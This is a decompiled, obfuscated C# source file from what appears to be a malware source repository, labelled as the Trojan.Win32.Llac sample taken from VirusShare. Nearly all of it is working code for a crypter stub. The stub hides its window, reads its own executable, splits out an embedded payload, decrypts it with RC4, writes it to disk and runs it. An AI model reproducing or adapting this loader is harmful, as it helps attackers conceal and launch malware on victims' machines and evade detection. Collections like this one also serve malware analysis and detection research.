MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aimt-d60eebfa06f055ff7e8bef8d4507b58d2922f6e9f6682bbf0d9c0884bab4acb2/_0005/_0002.cs
2022-08-18 06:28:56 -05:00

271 lines
7.6 KiB
C#
Raw Blame History

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// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
// MVID: 18A6455A-DBC9-4D4B-8699-BEBEFCABEF8D
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aimt-d60eebfa06f055ff7e8bef8d4507b58d2922f6e9f6682bbf0d9c0884bab4acb2.exe
using \u0001;
using \u0005;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
namespace \u0005
{
internal sealed class \u0002 : Form
{
[NonSerialized]
internal static \u0002 \u0001;
private IContainer \u0001;
static \u0002() => \u0004.\u0002(typeof (\u0002));
public \u0002()
{
\u0092\u0003.\u008B\u0004((object) this, new EventHandler(this.\u0002));
this.\u0002();
}
[DebuggerNonUserCode]
protected override void Dispose([In] bool obj0)
{
try
{
if (!obj0 || this.\u0001 == null)
return;
this.\u0001.Dispose();
}
finally
{
\u001C\u0003.\u008D\u0004((object) this, obj0);
}
}
private void \u0002()
{
this.SuspendLayout();
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
if (true)
{
if (true)
{
if (false)
goto label_7;
else
goto label_8;
}
}
else
goto label_8;
label_6:
\u008D\u0003.\u007E\u007F\u0004((object) this, \u0002.\u0001(322));
\u008D\u0003.\u007E\u008A\u0004((object) this, \u0002.\u0001(322));
label_7:
\u001C\u0003.\u007E\u0080\u0004((object) this, false);
return;
label_8:
this.ClientSize = new Size(10, 10);
if (true)
{
if (false)
return;
\u0090\u0003.\u007E\u0086\u0004((object) this, FormBorderStyle.None);
\u001C\u0003.\u007E\u0088\u0004((object) this, false);
\u001C\u0003.\u007E\u0089\u0004((object) this, false);
goto label_6;
}
else
goto label_7;
}
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
private void \u0002([In] object obj0, [In] EventArgs obj1)
{
label_0:
int num1;
int num2;
try
{
\u0084\u0003.\u0015\u0004();
num2 = 1;
label_1:
int num3 = 2;
string str1 = \u000F\u0003.\u008D\u0003();
label_2:
if (true)
num3 = 3;
else
goto label_18;
label_4:
FileSystem.FileOpen(1, \u000F\u0003.\u001C\u0004(), OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
label_5:
num3 = 4;
string str2 = \u0089\u0003.\u001A\u0004(checked ((int) \u0081\u0003.\u0011\u0004(1)));
label_6:
if (true)
{
num3 = 5;
\u007F\u0003.\u000F\u0004(1, ref str2, -1L, false);
}
else
goto label_16;
label_8:
num3 = 6;
int[] numArray1 = new int[1]{ 1 };
\u001F\u0003.\u000E\u0004(numArray1);
label_9:
num3 = 7;
string[] strArray = \u008A\u0003.\u001B\u0004(str2, \u0002.\u0001(331), -1, CompareMethod.Binary);
label_10:
string str3;
if (true)
{
num3 = 8;
str3 = \u0002.\u0002(strArray[1], \u0002.\u0001(356));
}
else
goto label_4;
label_12:
num3 = 9;
\u001E\u0003.\u0008\u0004(5, \u0008\u0002.\u0092(str1, \u0002.\u0001(377)), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default, -1);
label_13:
num3 = 10;
if (true)
\u0080\u0003.\u0010\u0004(5, str3, -1L, false);
else
goto label_9;
label_15:
num3 = 11;
int[] numArray2 = new int[1]{ 5 };
\u001F\u0003.\u000E\u0004(numArray2);
label_16:
num3 = 12;
Process process = \u0099.\u0015(\u0008\u0002.\u0092(str1, \u0002.\u0001(377)));
label_17:
num3 = 13;
\u0096.\u007E\u008C\u0004((object) this);
label_18:
\u0084\u0003.\u0016\u0004();
goto label_25;
label_20:
num1 = num3;
switch (num2)
{
case 1:
int num4 = num1 + 1;
num1 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_5;
case 5:
goto label_6;
case 6:
goto label_8;
case 7:
goto label_9;
case 8:
goto label_10;
case 9:
goto label_12;
case 10:
goto label_13;
case 11:
goto label_15;
case 12:
goto label_16;
case 13:
goto label_17;
case 14:
goto label_25;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num2 != 0 & num1 == 0)
{
ProjectData.SetProjectError(ex);
goto label_20;
}
throw \u0082\u0003.\u0013\u0004(-2146828237);
label_25:
if (num1 == 0)
return;
\u0084\u0003.\u0015\u0004();
}
public static string \u0002([In] string obj0, [In] string obj1)
{
int index1 = 0;
int index2 = 0;
StringBuilder stringBuilder1 = new StringBuilder();
string empty = string.Empty;
int[] numArray1 = new int[257];
int[] numArray2 = new int[257];
int length = obj1.Length;
int index3 = 0;
while (index3 <= (int) byte.MaxValue)
{
char ch = \u0001\u0002.\u007E\u0089((object) \u0004\u0002.\u007E\u008D((object) obj1, index3 % length, 1))[0];
numArray2[index3] = \u0087\u0003.\u0018\u0004(ch);
numArray1[index3] = index3;
int num = \u001F\u0002.\u0019\u0002(\u0089\u0002.\u0089\u0002(ref index3), checked (index3 - 1));
}
int index4 = 0;
int index5 = 0;
while (index5 <= (int) byte.MaxValue)
{
index4 = checked (index4 + numArray1[index5] + numArray2[index5]) % 256;
int num1 = numArray1[index5];
numArray1[index5] = numArray1[index4];
numArray1[index4] = num1;
if (true)
{
int num2 = \u001F\u0002.\u0019\u0002(\u0089\u0002.\u0089\u0002(ref index5), checked (index5 - 1));
}
else
goto label_9;
}
index3 = 1;
goto label_10;
label_9:
char ch1 = \u0001\u0002.\u007E\u0089((object) \u0004\u0002.\u007E\u008D((object) obj0, checked (index3 - 1), 1))[0];
int num3;
int num4 = \u0087\u0003.\u0018\u0004(ch1) ^ num3;
StringBuilder stringBuilder2 = \u0012\u0002.\u007E\u0099((object) stringBuilder1, \u0088\u0003.\u0019\u0004(num4));
int num5 = \u001F\u0002.\u0019\u0002(\u0089\u0002.\u0089\u0002(ref index3), checked (index3 - 1));
label_10:
if (index3 <= \u009C.\u007E\u008A((object) obj0))
{
index1 = checked (index1 + 1) % 256;
index2 = checked (index2 + numArray1[index1]) % 256;
int num6 = numArray1[index1];
numArray1[index1] = numArray1[index2];
numArray1[index2] = num6;
num3 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
goto label_9;
}
else
{
string str = \u009A.\u007E\u0096((object) stringBuilder1);
\u0010\u0002.\u007E\u0097((object) stringBuilder1, 0);
return str;
}
}
}
}